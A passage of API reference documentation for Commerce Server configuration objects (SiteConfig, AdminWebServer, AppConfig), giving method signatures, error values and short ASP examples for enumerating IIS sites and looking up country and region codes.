AppConfig Object

SiteConfig and SiteConfigReadOnly Objects

AdminWebServer Object


SiteConfig and SiteConfigReadOnly Objects

The SiteConfig object contains two groups of methods. The first group includes such methods as the MakeArrayFromString method; their function is obvious from the method name, and will not be discussed here. For more information about these methods, see SiteConfig Object. The second group of methods is used to create site-level resources, manipulate configuration data at the site level, and import and export site-level resources.

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, the SiteConfig object only returns references to the names of the resources.

The following is a list of schema class names which are used by the CreateComponentConfig method of the SiteConfig object in creating resources.

Administration Database Class Name | Resource Name Used to Reference Resource in Code
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mail
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profile Service
MSCS_Address | IIS Applications (for example, Retail or RetailBizDesk)
MSCS_BDSecurity | Business Desk Permissions

See Also

AppConfig Object

GlobalConfig Object

AdminWebServer Object


AdminWebServer Object

The AdminWebServer object is used to enumerate the Web sites on a server and display the properties of those sites.

Active Server Pages (ASP) scripts that access the Microsoft Internet Information Services (IIS) metabase require administrator privileges on the computer on which IIS is running. When you run these scripts from a remote computer, you must connect through a secure connection, such as the Microsoft Windows NT Challenge/Response Authentication method. It is suggested that you create a server or directory for your administrative .asp files and set the directory security authentication method to Windows NT Challenge/Response for the server or directory.

See Also

AppConfig Object

GlobalConfig Object

SiteConfig and SiteConfigReadOnly Objects


AdminWebServer Object [C++]

AdminWebServer Object [Visual Basic]

Use this object to enumerate all Web sites on a server, to obtain the properties of those Web sites, and to enumerate all Commerce sites on a Web site.

ProgID: | Commerce.AdminWebServer (Externally creatable)
COM Class Name: | AdminWebServer
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminWebServer
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminWebServer interface to access the methods of the AdminWebServer object.

Methods

[C++]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).
[Visual Basic]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).

Remarks

Active Server Pages (ASP) scripts that access the Microsoft Internet Information Services (IIS) metabase require administrator privileges on the computer on which IIS is running. When you execute these scripts from a remote computer, you must connect through a secure connection, such as the Microsoft Windows NT Challenge/Response Authentication method. You can create a server or directory for your administrative .asp files and set the directory security authentication method to Windows NT Challenge/Response for the server or directory.

See Also

Configuration Objects


IAdminWebServer Methods [C++]

AdminWebServer Methods [Visual Basic]

Methods

[C++]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).
[Visual Basic]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).


IAdminWebServer::GetWebSiteProperties Method [C++]

AdminWebServer.GetWebSiteProperties Method [Visual Basic]

Use this method to retrieve, given a server instance, the properties of a site as name/value pairs in a Dictionary object.

Definition

[C++]
HRESULT IAdminWebServer::GetWebSiteProperties(
  BSTR bstrInstance,
  IDictionary** ppIDictSiteProperties
);
[Visual Basic]
Function GetWebSiteProperties(
  bstrInstance As String
) As Object

Parameters

bstrInstance [C++]
[in] A numeric value, expressed as a BSTR, representing a server instance for a site.
bstrInstance [Visual Basic]
A numeric value, expressed as a String, representing a server instance for a site.
ppIDictSiteProperties [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object containing the properties of the specified site.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a reference to a Dictionary object containing the properties of the specified site.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppIDictSiteProperties parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
<%
' Create AdminWebServer object
Set objWebServer = CreateObject("Commerce.AdminWebServer")

' Get Web sites
WebSites = objWebServer.GetWebSites
For WebInstance = LBound(WebSites, 1) To UBound(WebSites, 1)
    ' Return its properties in a dictionary
    Set objDict = objWebServer.GetWebSiteProperties(WebSites(WebInstance))

    ' Enumerate and display the dictionary
   For Each property in objDict
      Response.Write  property & " = " & objDict.value(property) & "<br>"
    next
Next

' Destroy objects
Set objDict = Nothing
Set objWebServer = Nothing
%>

See Also

[C++] AdminWebServer Object

[Visual Basic] AdminWebServer Object


IAdminWebServer::GetWebSites Method [C++]

AdminWebServer.GetWebSites Method [Visual Basic]

Use this method to enumerate all Web sites. The method returns an array of numbers that represent the server instance number for each Web site.

Definition

[C++]
HRESULT IAdminWebServer::GetWebSites(
  VARIANT* pvarInstances
);
[Visual Basic]
Function GetWebSites() As Variant

Parameters

pvarInstances [C++]
[out] An address of a VARIANT used to return an array of numbers that represent all server instances.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a Variant containing an array of numbers representing all server instances.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The pvarInstances parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminWebServer Object

[Visual Basic] AdminWebServer Object


AppConfig Object [C++]

AppConfig Object [Visual Basic]

Use this object to retrieve site configuration settings from the site configuration store. Also, use this object to retrieve the names and codes of various countries/regions and states/provinces from the site configuration store.

ProgID: | Commerce.AppConfig (Externally creatable)
COM Class Name: | AppCfg
Type Library Name: | Microsoft Commerce 2002 App Helper Type Library
DLL Name: | AppHelper.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAppCfg
Interface ID Constant: | IID_IAppCfg
Header File: | mspu_guids.h
[C++]

In C++, use the IAppCfg interface to access the methods of the AppConfig object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.
[Visual Basic]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.

Remarks

This object is usually created once and initialized in the Global.asa file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

Dim oAppConfig
Set oAppConfig = Server.CreateObject("Commerce.AppConfig")
Set Application("MSCSAppCfg") = oAppConfig

[C++] Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in the Business Desk. For more information on Country/Region codes, see Table of Country/Region and State/Province Names and Codes Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in the Business Desk. For more information on Country/Region codes, see Table of Country/Region and State/Province Names and Codes Table of Language Culture Names, Codes, and ISO Values

See Also

[C++] Configuration Objects

[Visual Basic] Configuration Objects


IAppCfg Methods [C++]

AppCfg Methods [Visual Basic]

Methods

[C++]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.
[Visual Basic]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.


IAppCfg::DecodeStatusCode Method [C++]

AppConfig.DecodeStatusCode Method [Visual Basic]

Use this method to decode the specified status code.

Definition

[C++]
HRESULT IAppCfg::DecodeStatusCode(
  int iStatusCode,
  BSTR* pbstrStatusCode
);
[Visual Basic]
Function DecodeStatusCode(
  iStatusCode As Integer
) As String

Parameters

iStatusCode [C++]
[in] An integer that specifies the status code to be decoded.
iStatusCode [Visual Basic]
An Integer that specifies the status code to be decoded.
pbstrStatusCode [C++]
[out, retval] The address of a BSTR used to return the decoded status code. If the specified status code is not in the system, that same status code is returned.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the decoded status code. If the specified status code is not in the system, that same status code is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrStatusCode parameter contains valid data only if the method returns successfully.

Status codes are entered in the Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AppConfig Object

[Visual Basic] AppConfig Object


IAppCfg::GetCountryCodeFromCountryName Method [C++]

AppConfig.GetCountryCodeFromCountryName Method [Visual Basic]

Use this method to get the country/region code corresponding to the specified country/region name.

Definition

[C++]
HRESULT IAppCfg::GetCountryCodeFromCountryName(
  BSTR bstrCountryName,
  BSTR* pbstrCountryCode
);
[Visual Basic]
Function GetCountryCodeFromCountryName(
  bstrCountryName As String
) As String

Parameters

bstrCountryName [C++]
[in] A BSTR that contains the name of the country/region for which the country/region code is being requested.
bstrCountryName [Visual Basic]
A String that contains the name of the country/region for which the country/region code is being requested.
pbstrCountryCode [C++]
[out, retval] The address of a BSTR used to return the country/region code being requested.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the country/region code. If the country/region code is not found, an empty string is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrCountryCode parameter contains valid data only if the method returns successfully.

If the country/region code is not found, the method returns an empty string.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' sCode is a String
sCode = oAppConfig.GetCountryCodeFromCountryName("United States of _
America")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryNameFromCountryCode

[C++] IAppCfg::GetCountryNamesList

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryNameFromCountryCode

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetCountryNameFromCountryCode Method [C++]

AppConfig.GetCountryNameFromCountryCode Method [Visual Basic]

Use this method to get the country/region name corresponding to the specified country/region code.

Definition

[C++]
HRESULT IAppCfg::GetCountryNameFromCountryCode(
  BSTR bstrCountryCode,
  BSTR* pbstrCountryName
);
[Visual Basic]
Function GetCountryNameFromCountryCode(
  bstrCountryCode As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the country/region name is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the country/region name is being requested.
pbstrCountryName [C++]
[out, retval] The address of a BSTR used to return the requested country/region name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the country/region name. If the name is not found, the country/region code is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrCountryName parameter contains valid data only if the method returns successfully.

If the country/region name is not found, the method returns the country/region code specified in the bstrCountryCode parameter.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' sCountryName is a String
sCountryName = oAppConfig.GetCountryNameFromCountryCode("us")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetCountryNamesList Method [C++]

AppConfig.GetCountryNamesList Method [Visual Basic]

Use this method to get an alphabetical list of the country/region names that are in the site configuration database.

Definition

[C++]
HRESULT IAppCfg::GetCountryNamesList(
  ISimpleList** pplistCountryNames
);
[Visual Basic]
Function GetCountryNamesList() As Object

Parameters

pplistCountryNames [C++]
[out, retval] The address of a pointer used to return an ISimpleList interface. Upon successful completion of the method, this list contains an alphabetical list of country/region names.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object. This object contains an alphabetical list of country/region names.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pplistCountryNames parameter contains valid data only if the method returns successfully.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' listCountries is a SimpleList object
Set listCountries = oAppConfig.GetCountryNamesList()
For Each sCountry in listCountry
Response.Write sCountry
Next

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetOptionsDictionary Method [C++]

AppConfig.GetOptionsDictionary [Visual Basic]

Use this method to retrieve a Dictionary object that contains the site configuration information.

Definition

[C++]
HRESULT IAppCfg::GetOptionsDictionary(
  BSTR bstrUserID,
  IDictionary** ppdispOptionsDictionary
);
[Visual Basic]
Function GetOptionsDictionary(
  bstrUserID As String
) As Object

Parameters

bstrUserID [C++]
[in] A BSTR that contains an empty string ("").
bstrUserID [Visual Basic]
A String that contains an empty string ("").
ppdispOptionsDictionary [C++]
[out, retval] The address of a pointer used to return an IDictionary interface pointer. The associated Dictionary object contains the site configuration information. See the Remarks section for a list of some dictionary keys.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the site configuration information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispOptionsDictionary parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profile Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profile Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the global.asa file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profile Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the global.asa file to the secure host name of the application.
s_SiteName | Name of the Site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' dDictConfig is a Dictionary object
Set dictConfig = oAppConfig.GetOptionsDictionary("")
For Each sKey In dictConfig
    Response.Write sKey & "=" & dictConfig.Value(sKey)
Next

See Also

[C++] AppConfig Object

[Visual Basic] AppConfig Object


IAppCfg::GetRegionCodeFromCountryCodeAndRegionName Method [C++]

AppConfig.GetRegionCodeFromCountryCodeAndRegionName Method [Visual Basic]

Use this method to get a string that contains the state/province code for the specified country/region code and state/province name.

Definition

[C++]
HRESULT IAppCfg::GetRegionCodeFromCountryCodeAndRegionName(
  BSTR bstrCountryCode,
  BSTR bstrRegionName,
  BSTR* pbstrRegionCode
);
[Visual Basic]
Function GetRegionCodeFromCountryCodeAndRegionName(
  bstrCountryCode As String,
  bstrRegionName As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the state/province code is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the state/province code is being requested.
bstrRegionName [C++]
[in] A BSTR that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
bstrRegionName [Visual Basic]
A String that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
pbstrRegionCode [C++]
[out, retval] The address of a BSTR used to return the requested state/province code. An empty BSTR indicates that the code was not found.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the requested state/province code. An empty String indicates that the code was not found.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRegionCode parameter contains valid data only if the method returns successfully.

This method returns an empty string if the state/province code was not found.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object, sResult is a string
sResult = oAppCfg.GetRegionCodeFromCountryCodeAndRegionName("us", "Utah")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IappCfg::GetRegionNameFromCountryCodeAndRegionCode

[C++] IAppCfg::GetRegionNamesListFromCountryCode

[C++] Table of Country/Region and State/Province Names and Codes

[C#] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionNameFromCountryCodeAndRegionCode

[Visual Basic] AppConfig.GetRegionNamesListFromCountryCode

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetRegionNameFromCountryCodeAndRegionCode Method [C++]

AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method [Visual Basic]

Use this method to get the name of the state/province associated with the specified country/region code and state/province code.

Definition

[C++]
HRESULT IAppCfg::GetRegionNameFromCountryCodeAndRegionCode(
  BSTR bstrCountryCode,
  BSTR bstrRegionCode,
  BSTR* pbstrRegionName
);
[Visual Basic]
Function GetRegionNameFromCountryCodeAndRegionCode(
  bstrCountryCode As String,
  bstrRegionCode As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the state/province name is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the state/province name is being requested.
bstrRegionCode [C++]
[in] A BSTR that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
bstrRegionCode [Visual Basic]
A String that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
pbstrRegionName [C++]
[out, retval] The address of a BSTR used to return the state/province name. If the state/province name is not found, the BSTR will contain the state/province code specified in the bstrRegionCode parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the state/province name. If the state/province name is not found, the String will contain the state/province code specified in the bstrRegionCode parameter.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRegionName parameter contains valid data only if the method returns successfully.

If the state/province name is not found, this method returns the state/province code specified in the bstrRegionCode parameter.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object, sResult is a String
sResult = oAppCfg.GetRegionNameFromCountryCodeAndRegionCode("us", "UT")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IAppCfg::GetRegionCodeFromCountryCodeAndRegionName

[C++] IAppCfg::GetRegionNamesListFromCountryCode

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionCodeFromCountryCodeAndRegionName

[Visual Basic] AppConfig.GetRegionNamesListFromCountryCode

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetRegionNamesListFromCountryCode Method [C++]

AppConfig.GetRegionNamesListFromCountryCode [Visual Basic]

Use this method to retrieve an alphabetical list of state/province names associated with a specified country/region code.

Definition

[C++]
HRESULT IAppCfg::GetRegionNamesListFromCountryCode(
  BSTR bstrCountryCode,
  ISimpleList** pplistRegionNames
);
[Visual Basic]
Function GetRegionNamesListFromCountryCode(
  bstrCountryCode As String
) As Object

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which a list of state/province names is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which a list of state/province names is being requested.
pplistRegionNames [C++]
[out, retval] The address of a pointer used to return an ISimpleList interface pointer. Upon successful completion, the list contains an alphabetical list of state/province names associated with the specified country/region code.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object that contains an alphabetical list of state/province names associated with the specified country/region code.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pplistRegionNames parameter contains valid data only if the method returns successfully.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object
' listRegions is a SimpleList object
